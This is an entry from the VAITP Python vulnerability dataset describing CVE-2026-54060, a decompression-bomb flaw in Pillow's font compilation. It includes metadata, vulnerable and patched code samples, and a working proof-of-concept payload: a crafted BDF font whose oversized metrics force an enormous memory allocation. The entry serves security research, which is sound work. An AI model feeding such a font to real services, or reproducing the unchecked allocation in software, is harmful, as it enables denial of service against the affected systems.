CVE-2026-54060
Pillow: Decompression bomb in font processing allows for Denial of Service.
- CVSS 7.5
- CWE-789
- Resource Management
- Remote
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.
- CWE
- CWE-789
- CVSS base score
- 7.5
- Published
- 2026-07-06
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Pillow
- Fixed by upgrading
- Yes
Solution
Upgrade Pillow to version 12.3.0 or later.
Vulnerable code sample
from PIL import Image
def vulnerable_font_compile(font_glyphs_metrics):
"""
A simplified function that represents the vulnerable logic in
Pillow's FontFile.compile() method before it was patched.
It calculates a total image size from font glyph metrics without
validating the result before memory allocation.
"""
xsize = 0
ysize = 0
# In the original code, metrics are read from a font file.
# An attacker can craft a font with extremely large metric values.
for metrics in font_glyphs_metrics:
width, height = metrics
xsize += width
if height > ysize:
ysize = height
# THE VULNERABLE LINE:
# Image.new() is called with dimensions derived directly from the
# untrusted font file. There is no check to prevent an excessively
# large allocation (a "decompression bomb").
# The fix for this vulnerability was to add a call to
# Image._decompression_bomb_check((xsize, ysize)) before this line.
im = Image.new("1", (xsize, ysize))
# The rest of the function, which would paste glyphs into 'im', is omitted.
return im
# This represents the metrics from a malicious font file.
# A single glyph is defined with a huge size (e.g., 65535x65535 pixels).
malicious_glyph_metrics_data = [
(65535, 65535)
]
# This call triggers the vulnerability. It attempts to allocate an
# enormous image (approx 4GB of pixels for a 65535x65535 '1' mode image),
# which can lead to a Denial of Service through memory exhaustion.
try:
vulnerable_font_compile(malicious_glyph_metrics_data)
except MemoryError:
# This exception is expected when running the vulnerable code.
print("A MemoryError was triggered, as expected.")Patched code sample
from PIL import Image
def fixed_font_compile_logic(xsize, ysize):
"""
Represents the fixed logic in Pillow's FontFile.compile() method.
The vulnerability was that Image.new() was called without first checking
the potential size of the image, allowing for a decompression bomb.
"""
size = (xsize, ysize)
# THE FIX: This line was added. It checks the total number of pixels
# against a threshold (Image.MAX_IMAGE_PIXELS) and raises an
# Image.DecompressionBombError if the limit is exceeded.
Image._decompression_bomb_check(size)
# This image allocation only occurs if the check above passes.
im = Image.new("1", size)
return imPayload
from PIL import FontFile
import io
import os
import tempfile
# A malicious BDF font with a large bounding box height and character width.
# When FontFile.compile() is called (via .save()), it calculates the total
# bitmap size based on these exaggerated metrics without proper checks.
# DWIDTH of 65000 for 256 chars -> xsize = 16,640,000
# FONTBOUNDINGBOX height of 65000 -> ysize = 65000
# This attempts an allocation of over 125 GB, causing a denial of service.
malicious_bdf_font = b"""
STARTFONT 2.1
FONT malicious_font
SIZE 100 1000 1000
FONTBOUNDINGBOX 16 65000 0 0
STARTPROPERTIES 1
DEFAULT_CHAR 0
ENDPROPERTIES
CHARS 1
STARTCHAR default
ENCODING 0
SWIDTH 500 0
DWIDTH 65000 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
ENDFONT
"""
font_file_in_memory = io.BytesIO(malicious_bdf_font)
font = FontFile.open(font_file_in_memory)
# The .save() method triggers .compile(), which contains the vulnerability.
# This call will attempt to allocate an extremely large image,
# leading to a MemoryError and denial of service.
with tempfile.TemporaryDirectory() as temp_dir:
font.save(os.path.join(temp_dir, "font"))
Cite this entry
@misc{vaitp:cve202654060,
title = {{Pillow: Decompression bomb in font processing allows for Denial of Service.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-54060},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54060/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
